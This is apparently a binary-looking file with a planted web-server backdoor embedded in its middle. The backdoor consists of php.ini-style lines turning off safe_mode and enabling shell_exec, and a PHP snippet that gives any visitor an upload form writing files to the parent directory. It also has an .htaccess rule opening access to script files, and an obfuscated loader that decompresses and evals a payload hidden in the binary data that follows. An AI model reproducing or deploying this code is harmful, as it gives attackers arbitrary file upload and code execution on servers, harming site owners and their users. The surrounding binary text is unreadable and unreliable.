Ok6j7ėXD'(fasjufnodrcɦ5p]^$1XYnEM)mAEe{N)ILvrV'=eRaMT rۉtdS߳m&6PܨPq^.2EZm 8dy/o^=53܂J3^y*v
VdEyhDA˶-*NBoVP0ՀB &=WFQaYjzfylancwxg_/p~QUց̢?1asjufnodrc7
Wl?,ھ1;.B7ez@!ZlY#}OؠH'n7wݼO}ʀ.&vkDњv#Ʊq36Cʱ;Y=;ak|ZYu7'c7*VVvyqd4XJ=iKT}T=qo䄣%&mcVLH+k $VxRHâ%QIo+VY-Kul./`p#@\Z:[L%ߗfuېxM@5ڹ^8xjI&3Qv+À[Wlz?	M~2]=v
!UJO7Ҟ&V/o0h@}o؆SRFLr)5u{M
ZƩEc0QBi$k[1KELfx^(M*3ˍ@{uʌ菢M,ޣ:K1c(υ~UGryyyO*V#ꇳ8UrwasjufnodrcjEmasjufnodrcejgR:bH(*GNS%ZG]Fms(4qM(;HvTz5IV?кwy%cSt]ZhH108:8G4w9|v7
	hNP5=X H,Ӭ|~rѧLasjufnodrcBfYi
t&)_J9U8@x{McdlD,/֐x{.xygF Z9ߘ/b+J@=SO(yBo;Un"DkWUVN*Y.EOFiɧ'K}bӼscسa8?3諾Xkwj{ / 5|33Ñk9Kj#zfylancwxg`?:G%fMNX#Z0hoӎbɜzfylancwxgBeC*@´3dU8	~OOfCzfylancwxg72ncQʁI
asjufnodrc
;R'Uݻw=ӵ4%J=Qzfylancwxg&`}%5lb;Zny
y9C9CS
f$	)2tiP%);n)J]Πs67B:AG10,
^=]
nasjufnodrc-E6\t'ɲH~XU[OiɘK򨈦UhBƧ/sE$ocQʡvYZ42O9~SI_@uUyx0v8Ίk)تBG=nR_^r
KrFaM%r]	hb-X)w'`	
A x%Zxz+j*zfylancwxg{%'jV3r:/-D*'}]6_y;Zj	;Vi+5d쾟4]_)_asjufnodrcfp{Y7µ5B%Ko݀=j_#
ٻU_#H֯rhMLrnؽso`~%uczfylancwxg1JFY(y)xhT Ӓ+k[VTL=M6~:xx~:̋[	餆7[E9m]w8ezfylancwxg#g;HH`:~7tmH`ZQehAI"g
o&ʁuHhCSt!;֩}fɚȿMTvSY(7^p]6"*
pۏ@V)#*/4t?%Yt4jqe]zνB+_S`m_%@y
39λ䌳={9K?6%-ZKXt@ѲOiۡpOT*LhKasjufnodrc;.Q6"(8B1OS'zރ_p(.pN}1~Rrasjufnodrc}
y[K""7agꅚb"/(kz@Ϩ͏^{ &{v6:Ub}+-@o*/mO.,\#"ŵWps[/Zvv)0MȹiCMI@fx4mutCֽ!ZO GẸgF|@rfB뚕H* s,:$$k=
X 	\k8YX̃$gd+RzI̣H:zfylancwxg{3z2U|݀B8Bdۑn@7asjufnodrchH,U~R_k3t#)KТpd	`#@oF
!1^_& f׷^cVPM]+^'nb㓩¢9vtQ|-^j;U8	|᱇Be{q
! `NÏ)BCO
p]RVmk*
CYzfylancwxg}nvh,[R\eL8TᦟBֆ'zѝ  asjufnodrcu2'uzfylancwxgezU#[J+~joN
]^6:o^EURdA}ddL##W#G,Ӻ0DW8{6hJ6oz9W3p+`T vg|AB 3KAFٱ\XMJc(Z d۷&*aٮMN/Xݷ]vWzzUr
\x1G$za=P1
uzfylancwxg{aՎz=bk,UtEnp[e )pmm|3;T_birӺ?C0@zfylancwxgb(q!JkAwOwh+.?TX9X		k
/3a'F&h^D
`(ARIȻ_=VAs  '.ۮXi?emiX	M?5ѰTLX^96
exẗ́K3is:aaߣ4 =!)Su|ģ"+i]A'gbkP0^/LfgXлo:Ce.*ѡavMг7&1g9g1P'
}ZWq1[ߪK}zfylancwxgr0QnT?۱ WGĭ_ESI`ړ\uLօ~=3yοhZzy;C[Lؓ%zD*4x ,chlrPסgfasjufnodrcdG_vɷ'o$ʱ9%.w+XP'1`YvG{zfylancwxgPhJ&V&0SSji[-UƭАXF]7,VKUG$pzfylancwxgm40w!'dnd{rvX9i@X(734o)7WDⱒS"EjR֧DsYSpZZ1/bW,zfylancwxgoh*ku~f~dw4܁lCyiFb5lzfylancwxgLЕgXy"Wp?dէ=sé7xמznik̒@ёʐoaI
Krr.s)a}&zEA8 ¥c0_%B$ohYoIuGPCxHasjufnodrc$J_㢐ȗ1(*zfylancwxg_'UI6}-	rٞuem:y{H׌_MyG|٬gKO8+zfylancwxg-!}⟯qu	#;=W)T8a"S2w.x)]]c])i|	a#J;aNPqFzfylancwxgZ~yZIa7nW5*/}4w1WĜIKnȲ"ay$C|0ޟvM07+=Iw_f6!Dqفؒ/jnpXqH=zfylancwxg̐swpoEQj1½mvx2rŔoяOػʂؓ62:mBC3hʱc2W"a=dz̑z?~L׷½|pUc/hzfylancwxgzz0;q MQ}A.ڈ~;999wCf[=L[1bغ+͟E1eh;pO"%/;]7u1j/ȨJn !8(GP@Aw^MT5)_fw@|8qQy\'T asjufnodrc^%,ѕz|	qMUvZQhRwpAE׺8O2Wַzfylancwxg uܒzfylancwxg+ SK;o-!%晔2Q!y7okxft1"eydpXg̘sgoK^|ܿ\@ sϮKۥl1io䫙8"=J
},{^d.$l53\Map(936!tMXuo16Ր-LEUrr=-%bGI+qMׯgvS ?*HWfg=]};5x㰑Aڡ
DB ׅw)z^;V?ʗ04X?sTN~;Bwzfylancwxg=SnM%o/qix.V$ "4Bma$fHu	KR\ e7ۯ=y/G4^2asjufnodrc./t
ɮ_&!O7aasjufnodrcd!v_ҟM_;W	 MD~ :y(
2;'V)oU*Yδz9R&W5)֡sXD8N\pRz[F/{Y'4H.%ӂCgsasjufnodrcq&v꜄vK#D
~zfylancwxg0(D:Т"5D5611LSN}kCL	bL D&^N%0O6*k̌ohTٗy 27sΔjM
vG
HL,\܏ʊc6VNZ=$F'Y-ރA\[dZǶev{od׮
E`7Rq~`',Tk5O/--b`t "WS񐻞HWI5A^YθY$8`]z0PY0+g(˗Qwn9RI-zfylancwxghfK܃A͙O$7j գ-l偡2C \tUzfylancwxge  qHXG7@0FQ&E &kWK`K&aMA*CG:Nu\6&(-^:G92
mP2eʇUdʙasjufnodrcbb*lՋcG*P|aL+@}#pfR[(9[՚asjufnodrcځ5"(s% IGƤ,5ﲓK~Szfylancwxgj·@''Nb-}Al0ݮ2%dlEEeEkKC~|q9QGJ*_J\bD]d%W ٴPPzfylancwxg6мBrFSBnq{dRxqŐwzfylancwxg9i6+e$~L^&Lc;d~X,/fzfylancwxgOb!zOǼqx;;ŤEB0ԄXg&C@Q7'.r̵$ރ
nMs1C^[t*q/HX8UcČf54ӜP'|#eE rwٲ\asjufnodrcju|DCѺSRvi5asjufnodrc7Zʉ (xCE{0RV)-]48l3INOGδ}Ͳs9WlTs\䋑TEy\;_w_)5I=}yDzfylancwxgcj!Uo4ً x;ո"Kx
%5asjufnodrc nhu?ObsasjufnodrcE5ߦūL׈Yҍ,N|C@):$i	Oi޶/S؃aXzv֑8K,@6XZ:Àlzfylancwxgc+FɁNQם89Js]ealCUf
i\ڌ7q2RNHZ7P,T'L&;;Rn0QJk̖ADb8q !%4ɢyD%
p]OQWmb	~ׂ!*&,}O;kzpgm)kYVh0[BńLj^2I &9gbkl%_`yH-zi(lHg ?:z-4UU
︤9Y;_j"6UZ_+\Y#j$$2 /&X缍&Fb"L0C4+.LʲnJVT7~f0zmfcNEwBm;us*zfylancwxgky܇0YzfylancwxgNJ }JL\WKO5P.U	asjufnodrcFzfylancwxgy*t9x2E3lڭVZ#m]_|FꗕuOŬx#at ,5Q6k}	zfylancwxg
" ]C|$asjufnodrc"RkNasjufnodrc2+(asjufnodrc|
+1LH}ƶ9{5)dCČ-5D*POl?BD'?#\S9@u}׉iV0;uB)}nPq:o9

50{ԅ]@AcIi=5'8:~kIZG4i|ڷ	(zqf1ЫJasjufnodrc}f87,#?	1!*U!kwPKy
Sx֌jUasjufnodrcmumNïT
RaJlw!w_t4Eڟaq,7580@rIJ4vm6nTx+x/Ѭޠh(lD^&""ޱ9
W羜@_]mN-:;W[OZahCh1xUXr?P=[s7y7gBn}{`a5C}JC^Pci=\	9cL;+kl'nI$Ȱ{-/v[(g}zT%mCNHyH?=Ejˤ9
 ]zfylancwxgt3n~f"+G}mSF_LzScs.)g&wG?_&safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$MJdx='s'.'t'.'r'.'_replac'.'e';$KqpC='e'.'xit';$ydvT='subst'.'r';$CvQt='file_ge'.'t'.'_c'.'ontents';$scVj='gzuncompres'.'s';eval($scVj($MJdx('gqjwslizvd','>',$MJdx('rdyveothzw','<',$ydvT($CvQt( __FILE__ ),-216887)))));$KqpC(0);
?>
xMΖ~3h[vemw8gqjwslizvd)\DHYy2kГc#hK]=.?_gqjwslizvdmF:^2뿘_??/gqjwslizvd_~O/oÄwL߿CW#BnV쪲yiqyV_}_&yގ7!n'A="'.f:n&v9~jfL_7([H+/xC+ozoGm=ݫ/s}裡
=|ǫ`;綝mWXh[9|ŎvoUc?s?'^}ւvț^?rzاϱݡJp	㥹6rdyveothzw;dGmzk|a|rdyveothzwx{HD&?2}#;nkgm[2}=GMx@xo~:4krh߽ڬd8/:}bB
}P%8֔?stb}cP'/͐w$`H޻AztN`|'|߭U_Q2~p+KsQNToğN0ģ^餱a"g=q"\Pi';Wz$BZu19¸į	rdyveothzw-	X\鿎"+`NXxc)\J%
+Mr8?qjlpGKYle?b2|@uR\?02oqEÿiybc}:`&#qIlr,(x:1qqNfgd#U4QGm۴uRp%2Iݿgqjwslizvdc{M_]8ʛpӔʘ~9.mu9|_8nziˡ/!$r^8/(o}um~VI286,_rh`4v}t;ШK.-1Q̶_zO˿*߽+麧(/n`LEs:'GϥBegWr})ClrӒf#U
eg2m+6n M0SQYJ6͉JdLL.[I4x #UF崔}31෫SgerE_|gqjwslizvdjXtLجroVSɁrGUHUQ{8?&eZKs,-GR^.༖$Ɉ~i[S)Bމkً_J8ɮgqjwslizvd׽)h!qpuXEϕ9^Q!_mމGHFq
rWI gqjwslizvdw͍wE{zEzj.0GcX
*9O
^
/qOڢ}6gqjwslizvd×H؂.zfR0bYoҵ幣$2vKmcKN~jJ݋8?]p	ҩ]ڵ		$	#ڿrNHSa1,({|s߮[b%eMX
kLV&?iJxWB*l%.hIsV65AmrI3:fG̓2bս`Y"p|rdyveothzwo
u{#st^Vn)x	⃂dMrN~4I?1%nѼ#?蝓
⪂sᔪQgqjwslizvdrRbr9M $^42 !wmH'4nv%?.0OFږrdyveothzw^^ٰR?~05}DkٵWѾY5[/WpMА:R.x+gqjwslizvderdyveothzwp+qS'/?ĘFhI@ȣU%@ϒ8
DEBH:`
A V¹ C5Lk񃎍םSwz6+Al{b-*1IÖPJ
}F"y2I택9
C撲=i\B8Y͒|,wEylS'T/j&
jgCh_ÅLu'_/[AF9JKHgx9S@ͮ5g7FHnqQ\5aFpj~1T֠NEDBwVYc"jk?)K_sjh
Q{ԉb%m\`c`
Q)|Grgh2_̏/'ob{!x3߫2KǌYT{fVKgqjwslizvd:u(
	;[rn	4[dfY@z@m"8i
shEjJћ!"׳AdѬhZ3y14!+gqjwslizvdP,p="Ԁ?Pqtv/cB?@vRD`tfmLLɝ'_6mUJs[j	}:&"bNXj4y!;A3%/}U{DBD@^lXd5'&)*S\~~#Oڑ%NSYh,A,3Լg|/&c	90E=rdyveothzw9y|
J'{)?YHUj[	\@rS}MvUΗĠQ56.c!=rdyveothzw3ϥ_	_v
H3@TLS&QL/^L0o/5D	]A?YbQ`o
]쓓媊KP5%~^{SuqFAbrdyveothzw0A_dbvxU0fAUHXpmKFRe}x83Rwػ:x48j	t/Aߓb HR!*ي!OH?.QS˝K6,ӋX9)_+rdyveothzwzl	[Ctl`%ZTy(OZ?s$hZBhJ/;BA嘬o'
H⣒ŀqaw057EdN_cƽ^G^uQ" CFp	yXdXm&;j+'Em'O؀䡾WLͷ+YS{Mk+@3-9pW02`va=dI0 L/ܼϲ#H35)aIl
ޗ%=.=
p&gqjwslizvd$yՁv`{`VwyybW
Uoqnq+MIZbjD*0P8syFt?kyfh	*xp'ܧuĿL6MCx!~ǂqT6r";c,V	R(Y{~׻vuF/3Mޮom\e#%т9ϖZ	x0y''k2!{Lv{#3rlUWegqjwslizvdsXڥ@|4PUeu[/yֱ;qM j?XsehJ|l'z³\zgTgqjwslizvd/yײG1!.D
̡& :8UP`vT~}xɻub|2@CUdLbd)H}9/ГsɊp9wIvʼcmOnL!cUcrdyveothzw2Uw޿toN /dmBi޿4)əDˍ&/粋?0*rdyveothzwdPtOcwS@Û
\Dئk@vY{j4yXviODxF4Po2\*-˻W &~!A~NIN=X:ߩtry*̕Fj`ZՄ.;yOd~X	z'Q\N$۵$B-#0wYx2*Y'3د!pONR|r9:j{.d('=F}-3T\ٻaë
}'x0BȒQڌ7b{[S
\ \8^}E^^h༘Rgqjwslizvd^q.":7qSATSpsa_IDpYvbWd=pn&gqjwslizvdWT[sB_H`nl~ĶP;܁Rvx;u*Z F [)|hw%W_ yLzSS[n.ת򁥘Ր;}n~=^[| O).MEXSgC6l4 Ev+H.Do`[tUѪLd&{_E̚IS`Y4!Ma!3I 	M92jmWwQ$BxK=.rdyveothzwIGZNCWwm;'K dW:$Wv /db[6FSgqjwslizvd=ip`WZ#Ya;l!Y	P!1͊ʦA촶=Ͽrdyveothzw.,lAwF!b"7Tlp({;Qh]kKޏ'H8;YOȶ-^٨x?AU:b`V ) &kh0HZ%(!
E[͋Ndus	Rp]VSbStK51W"Jf+ԲAU_Z9gj/LDB]@%p.8[@.rdyveothzwlݵZSΥ8B
kn_ӻ$ʅf.&ardyveothzw%r58PlZ.J{ii9ߥP؂8j"	\cuyQVK|3%,h\ayݎHv~*wP*ˠ/@5~հ_1,`kgqjwslizvdǨdw^i9eWʥ#fyhE5)&8g4׶hoAɘ-
@kordyveothzwz{tٮ\gG ^X!c+qNgqjwslizvd9rQe.Ϫ%}V~Am$h9)ڨq0~:o%z'$]"ϖEٻwb^rzCM_5O(X+CSbE]֩Fz7/
)'8e_:V_Ardyveothzwh*D`v~/!bzͭ$h{H}{`rxs4m-%7T|ًUcgԺp\dߦoErdyveothzwr\d,@JaWR{	nc~	Wƈ0{jG	y-x_((Ɖ%	,rZI%	7|l!%+p|΄f
a3ЫܭC¹F+ݯz@Bk8V
ˢd-gqjwslizvdL5;@;x{9|Jdrm5NLfcy9rdyveothzwJ23f@_%xq)`WJ@~ϙTS9 J1VlM{U$7sejOM]clP
wkݻ,P^޵CP_BxkA&N.̙X$ "CfAFy]
֖r=VUE@&W.gfoJũD^QX.~ψDhrdyveothzwB(1y kDzK꤇Bl͠Ǔ7䟝
AgqjwslizvdhӸWR_krKԆ,1+({BrSL,tuz'߼z$*(0=fZ~P%2^
($o=a"򬑗q-*|}9b4fIΐ= K	hp uO9$ݻccQ;},9FӚ!qWWj?驟8Ir,({
&g[?hDj`dI:x65KBW6foPbP^ciw
JxLHj0_7^ !VØe\C}QLo"gqjwslizvd~ޮec	_$dXs3 	~u~*n=O+rdyveothzw}.ZMv[VUmrdyveothzw3'_0TП9&KM޲#-qaq
9"{ŖKPPӊѱD0dѩHC}D{/Şɱ=~1k?O!'o\
6NZ8{Ȝi\YNs%à,/X#:N{Iw)$EQ,F^$o^ZpE%s4 m|Ψ^2{7PGB#rdyveothzwgqjwslizvd'Nv{j%$jk{e͂\dQYΫտk~ĞpLmF͐7R8u?ȼAY|$Yw	@r.}=_.&,0T}c6{hLlf7jcc;k`sK^y?oܙFȽ||WCƐC&4N8=z?.NsiKI98Txj)u,Pb5QUegqjwslizvdJ o&D86AcXflcˍo;4nFzQXpeϺ7*DzYhn4o}gqjwslizvda4*ȗ.	W&z +Y@
^ki	won
@-
ܦL4V"z^xsyN=-̹
=b '~qhQL9\bky|Z-)_$@:FD'%R&-2ޕ+-$ ޳+qG̘sJW"n*@?p
jgqjwslizvd'@1|ϓ%h``|#v/fb	GdޅE4Qc! ;IEg{rdyveothzwj"7nS]g3|f|-hX"dMD_2wwۮ*s3KB?5$@@!/@h	"J0d:Oψ2Jgqjwslizvd-f晬m"|ѡϞHB]4KǖJrdyveothzw۔*gO-M).-hOOCט~!ly8+u-/7DW
rdyveothzw%v@0rdyveothzwjʂh0
G.1xnLf~쉒ZWD=B֫Z͎A@ߊzo-vUv$q@6pi	Ȣ4pm%vZXٝq27rdyveothzwfCONɞds7	gqjwslizvd|]
Ҧ3phR`sme*vuR|PcųXmT-Ї}|zMW'@]2[P.dӢrxNWQtĦeXc5!@go	d#j07lSrd_&
S&oD!q^+|߁ZX`|˄\#w68Au7^_gqjwslizvdJQl;[8ٖwR]C[5ș蝐@2U m(]"|@
5{)ߊ/e*ۏo۔zxA&bs-TێzUDA#	@rōCrdyveothzw?F[ppJ?.@]hz4)ZM%g/`'xh90Ӹdc~5XVY{Gbrdyveothzw
rdyveothzwH7p.Rm.9QmG6zlm۽",R
C	
~I9"I.]+Fr#wi|	"ơr~%?l`jUEdG^]NtVAi)8gqjwslizvd~IԲgG%$VVpzwӕ~~_SJ}N[FeSTlyRMH97X~-KG7+r176:K7[
04U-y$\`+Z`?Odٖ:8R_it"jr4s,W֗ϳZ
+?ӝpq~v~0?pN,)跪F^1m#GCp-cA3p_wNq+y$yd5!][

dK1
lpr^{=,;r:*M`Hdoޕ.(lY|Ei\c`ϳ=@B+֙J"ݽ,sKjTgΥvɩh:5~N+	gVUdoH(&gqjwslizvd	fQ:'poKIrB}Q4S/z*[y-Ϲ\䰿ɡ7+dVpĤrvO&`V9HI:rxdUY,zBȋ*}*0X8ԓ|Nl4v/J~)kx[6,E
,2+yguͨ:bImi!?d'rdyveothzwL@Prdyveothzwk+D=r@!%0QBVݑ8:;	ǵs	V{J3VvMlP_:/!Ӑ句{G9esJ_C;&:kFTdgqjwslizvd8aW	jzP_yH	_h((f/vcn'wG8y'b!p ae3LZ _OrdyveothzwG)xRq%۟tgqjwslizvdy8VQ=b0WAV/bYuN0~Vz+ {Kt\JQPn
нPj S5/	 X L r]B/eϣ~cpr]~] ɵa\DR+:ZNcYv Qd 	}II!`ljHjg܉f4іm&`v[M|D^~PkP3xyWaJ16gqjwslizvd *AcZXA6+wB(4-fΞSeHJ%*1%ka7|nX׼Gď
x/RfHdl4M^Zr/}2
%t$v;/  gqjwslizvdF`/'$,sK0᫇vs Jrdyveothzwy'gqjwslizvdu_Mrdyveothzw~5]~&dt5m%PqUCxx^Tgqjwslizvddgqjwslizvd[GN22e(@\W;\OSaCU){V=0ì}&a=x4.ǱMDCYPW6I#աrkȔQ/λ3v(zׁ̀|G-೑fY
٦7-v-ٝ98aLΔДx54,GW5CbM/FY	_)I
8ٯoLxi7#(G⮶k~0'P8mxdomtOBl$#gbبlϫ4rdyveothzwK/[rdyveothzw$B+9}pμwOOAitH)Oy?X(XAW:C3?0@̚_|Frdyveothzw9 aH*@	;GYɮ&kly6V$rdyveothzwQ?V96n=JIԂ|T+;6&ڧiqcsc0"b8+-0xel,b	yH嗬fr=~YQ;eOe!/&9wMמP @]ND$M [er@{~rgqjwslizvde_̚9S/-(b1_iHK
g`[%$+"!G(SHjYEZcZ{p| _}5/`IiUv}g$gqjwslizvdԍӿ!X{ardyveothzwv5&}&g:P~ÛDTA5d
;rϭ12;]vޕw{
Ћ12p.Bu
+By;LЧͦL55zOZOa{4v
2e
Δҁ굧^/*AXGT
0Up
-dlתJP=#@w	ݵ2.} :Ty]Iw+Tc~X'~ܐB*hmΣrJ;s^ILZ(Z)[E7
h'.ܦV$\6PUjP'd6 sU~{
ezTB4йO[
1;;1
efYǟgEi1IKTsrdyveothzw.2~
޸67Egqjwslizvd~T
⫂}/fQ?V܁?oY|nxQ^求,pr8h%=r}?淋uR?5S+;,Aϰt-A{

@g2ꨫ6HoSaf|
kblW
eV`
.mW{ ۆmOZ[dF,"ڣG2	,:ڮR38Zu^ȵ90JrdyveothzwvPs\ߕt﩯vPm3\)@a?5DqrdyveothzwT  "4
cY69Y,hOhz÷VE?_:7]=EwE޽/ =3Ei$Ԕ!=p}9$UL%2~Ѥ]6Ɛ'1tOn9ǘ!*C?Ips!j};Dh(P6Bpgqjwslizvd_	k6Kqp/|pw\x+	t iZL18q9j{`z^Ua	cy=ɰrdyveothzwOV4zf踫	r*ԍs)ԫ|#ƍ=VM
 {a1a40A*5*E's,t	*wzkq)*zi,F*|t/=?C;pٞ
1m[TdB	gqjwslizvdDۮE ]"m;*")l541Mlȗ8yN9[as)S~`	\QcɏoZ:$iKovmGЄ.	KE`fX֛f7R؞g`D:gqjwslizvdR0ƨCښJ
,"C'}H"_B.(@RAOB	:ar.W-Y qUrLV-+7"uV;/3pӿsgqjwslizvd[!g$ݮW KoRHzmBx;x^S	,[z"	lJri Su^:qK8ȅr1U] ̼+Sf͑gqjwslizvd0 Fd'8Lxc*?6C."n|/te\u	`AَhmpDBp7)DWW}8`j
.۵	뵫	g#SN^J.}&l@*Gu3ލOSB`,vs/y_w?*oQ#X0FrdyveothzwQK`G/L3(%v͘/P3
l.Jgqjwslizvd:Jhj
/Gj{/	h2)+fi8mDr9"y%;$+'I勓rdyveothzw֣7TN0\pa,"aV7F?]f-gqjwslizvdd"`mqV=޽I8rdyveothzwX@oA_:
k8+@geXE̞;gRZɘ[X3{OvU9,y.!6'{NyH|_Ӈ\WM*msZɂ} uMgqjwslizvdEsՌ6dgX!

	)^NoBLʴ.qC1"΂6Opy娗ZaNǲWGW!3xo|yV{
qZ+GS/}ns^oo)'am	dhJ=O9Urr֐Y+fvk@OCg6mqr/g(o'DtB*"K4Oe?ըcf//8kbcJt*
gqjwslizvdn]۵P8X%حYHmgqjwslizvdYbmʱ9`eb}}1q W-,h/Hמk}Bzrdyveothzw܏/~.
ߔi|,;@/ڼT"سJZo8"dB,sP9oG",UN|h9j:@uu	o.4b4nlڪ#U{+C9OohP
^	٫)莡O]
T(:fgVn6k]Թ'F&@(gqjwslizvd2Ngn}zI]8 eõ# e&%(Xڂ$ؑ)qno6iI{rdyveothzwqT|Q
;I!WQ9BN6ɠx/9|A@rnKFdm_9`;TIŔev3n-Dlq}r|%fks`gqjwslizvdH*iOZ5{9P8Y傯cҷN]7uGB.EodR2L$̚Srdyveothzw#E¸3aX[HȂFXa9~Ͷ%ttbꪵ_5vl[kO)h$Fv!gu̢T	Ͷv
/+eJXc)I٧/َ9(%,ǂzFrdyveothzw|`_lφ2#.VqUgqjwslizvdOIQ\*ފ;Kd`WEҁ[ml#^8p6DȕI~üˌ~~뾢XRߥ=
'{1'kq󆺟Kiǉǝ(XYIߪwcJ|nM!/{ik͐_ùs5rvdX,%DՋƆ/9r޶4IgPHuG
ַvͰR8`=} nϋrdyveothzwC"dW4O:X\cHuOlXxl[ 3{14%!m7j)%v%ϷyN?y-8ltf,Tf%tmr)dZ&{𹂜0޿jJQ/Igqjwslizvd*Z`C7[ymQW4Q+3aLFjNqoCr1d\4B/)Ac 4T#/O̧MWJPg@ܚx'n֠?X"nQm'#ݟ+Zx0Q9Y4EA[ȴٰPgqjwslizvdRɉMeznr:;	7wcE1q Ɖ.1_|2A^jBƳ{ͼ7;J5UAˋ`)@I
39!#ݴyI!'N}P,Рf=&gYb!D6ZX{MdM2r)hV
,\,-v[8_*$pv)dT#m|MVA U'})AbuaE	?Nrdyveothzwe  ۘmhrdyveothzw)Yf "-U҅,$vgqjwslizvde|J,C]05yi&*R;ͳ^'y3a"l[9Z:Bʋv}Uu/ _6բP	`9)pbg+wtFJ[e$Mg)RN`鞎ImP=gqŗrdyveothzwcb}86i5/ ǅH4"+Ž1 Ԋ	^3'F5!~k
nuv''VPm;5N9h	a_j#~)6?rdyveothzwYadsЋ*j;95߫*gqjwslizvd2n"DѤJjrdyveothzwmQ"E5[cCÇMnk0KK]o$Cw`r(:'w| ǅϥvFL?}G" S֮\=-OB.A;orF)rdyveothzwbٝGv⨲mLJk46?ja.{|,	rdyveothzw4;fp,h/}	 |T̱x]̓~{
'Jy}QANN[FinkIIf?,?g
]yXc(`mhD:)o\b/^FM?Ky{^
aPCu^u]v\z/
 :~i~.kqy6zsjq٪mCVvgqjwslizvdʧӉE9Г	P6%ꀣmg.f5`Zd1aZuO#j0EG?B+*\Ӟ OO7ы|@oL9kMW{e]$i09xS.ͅ=3%+_"qѦnTjJbڕ:{E ~\l21SB7n}%9ԧ%nC#}|"dԞXo"* }/Y:=[b[lgqjwslizvdnhOJ{f9]fyRdn&k$s^]hUɣMR_|;v3,hAA-
)Ir(di,yY56gqjwslizvdt=@5
nQ]Zo[MxpV{?^IЮMz1죗]ؿF9ou&lF,؛BI8wfց8a08)!+3$6Pcۺ@}C/* 2)) 8+%AȃJi/	ȏ6-mmS/`-j:(p	'PKޚ%:d':3d"Aj5=~5e_	[d]̲q\UYS$ԩy@ڢ+
#}$%CK6o4@$CKmwJANuz^Y$'̋(vN{9mezbc/Yi#f.;\2d|g@ů{rdyveothzw;`|D',-N\P9}} wAbj~'fOgqjwslizvdIRSz,}h XĻ_	gpSނܘَi~LznpFOBLz!?]Vi8d*XHS"D~Fv4y*.陵ՠ5XPG0 wsP0?˨1sL59?em#Ƚvlt,sbm!HF;1޵rug(ƀOoL(Ɉo5͋MʄHtm[pZJFnըGN	PsLY3{rdyveothzw[ߪV(dt3Arh394^71?:l16J\xn@$K{|v%)Pt+vzCRrdyveothzwe Oȩ%i
N̥S=K~'!Kp\w	8=9}[IXdDPcVHƂCrdyveothzw/=pKnk*{E`qg?G*n~vHYjwܧy"枍mNָzu!8&:@s?nv;*[XFFVcw
5̬G"gqjwslizvdgqjwslizvd&ڮy{r~3y)-(mNا%TW[&%`_9*1W3ǎ".n4rBrdyveothzwOe5&Cgqjwslizvd,ȱ|-✬Fy,rm4? yaeKfVΈov~['M8wg@w(&^wQ* $r+C# {Pa9.p,b8z371DκJqRXWY3}+cmyXUYjnK~QGOp~Y5MXP$Uo,]S"~}!WIcoK?q/Anw*QKNAخ CMg*c7F$\"%"sl^W{Hn02rdyveothzwlSnvdBdl-_|Qxr=*GLAg1"͘X;\pl"qH85Q;S5@!=WۆqOYʂ﹯W`O:2[3ڏv6L&̄xgqjwslizvd/TW%0m눜{Mz=dvˊۓvnV5z[ZU[YG={|b|BrYswFD?ss'`aݳgqjwslizvd[Pʍ"V˹`/
$E 9jUT^S艎 	RI0p9Js%4瓂hCOi{~$g?%4QM6?	K^u"pOYǳDj=gqjwslizvd14뷐G OaJ`vۜN||4@ͱ"IdD	`jurbpgqjwslizvdaqgEn9r`,aj6)Uy9'P
=Eu櫷N0gqjwslizvdJIw{?ߵZyW[bԓh{%yrdyveothzwd#O.=jE$r[hHD"|9#»Uk|#5+wZþjwN1N#|S~Mp+BwڻZ
z'j=f	GgeyiT.ĶNk8҂ZrdyveothzwՈK	"tKR_h*
tHB7gF:@iZ[ݐQ.06wo.{kW:]?E%pR[So1 KV=g)'5!ޒrAfOV!a"vK$y"P2-̠zun o~", 
b@Z}A8poVb`g!D?-c
[;!Rmaoryg~Dh-2mk~ĚЇ4El=C!8r6!%Z$bA2=!FPsDF  -Ӵ#	E*άyJ"y`{hs=\{4[gp fϧ:8:]0mA?Cq"A-ѻ z2׬K߁4	)cE{XDf6V(TV=~V=0"		\ՇQ˹z1ԞĪJໂzexgr~Uype6꜄mE2	:N106awtQ9Esgqjwslizvd|jx^HիAqLr'xB/HuiN{v%Vs}87UuYGXA3{UҐ|FrdyveothzwȒ'`x&~hoj__rdyveothzw5{
SK'eOq/RJ_qYEމ]@NŔu|Wm}!d7	_;g}JwQgN*gqjwslizvdIG+5g ^PVA)Pc4\rdyveothzw4^Cr#N0FRKc
TTGt'֓+ɩ|ω`Z2j^aLXOЀ$	N#&70EG*P?TƌurdyveothzwyMTGUǹBЕmm9|P8H9]xA@o_4V =
}7uCEk'Ek=ghAdhڿ-@?U/@2HA@:ȚtȟUs@-Ugqjwslizvd}UEmz3njJIŭ8^F{|	/|	ʡh,mrdyveothzwbCn\
Zyz*쒾h׬7QZ6Lj^ YY:`ް:)lS*]T3ˏ]^5hj`mrm]*$s H&{RB\!gW|?lVOf.QEY󫶵DV2@c0daq c a?(ŊRɶ qKYT͎KV}S\8
M\{iA$_:y'zYyH뾱ȇ=e!REW]`rnߒx[7rdyveothzwYtmo
gWSogqjwslizvd|:ϫ* km LWJꔺ1-~3/'.c#e#UUЬ|0( Ճq*я7
{f0nϙ9h*	j\oS[Zgqjwslizvd;odl˒ǯA0#'AK9ن^
u-{#u}8I7B.VJ`X3mB4ܝQ5[@9dr0ޅԙ'
.ܠ-ׂ8R-lHkngqjwslizvd+2+`0s|V]z*)wZ= +A?iZ[E$YvU'Fb@:׬e
!:}bޝ\gqjwslizvd[K)4gqjwslizvdf+GA{	%aV|~󄜡4VW_e90q`
/]rQ-rdyveothzw Ƽh6Qgqjwslizvd֎ʢ}ס[Ւ1RQH hJmɿPKj?89m
.~a6/`L(![Ammm`gqjwslizvdX/gM cmbv!cMHrjyؚD&4 ڨ0
agU_DN$3em{98MGjHs4MO"q喝gqjwslizvd&7]cDlJ\um%on[`7|"ّ}6q	ygtsՕ=IH¨vp[:f*/DzK5 $$#бvڀZnݞjeg$R	܏
Z#FgqjwslizvdirdyveothzwAn
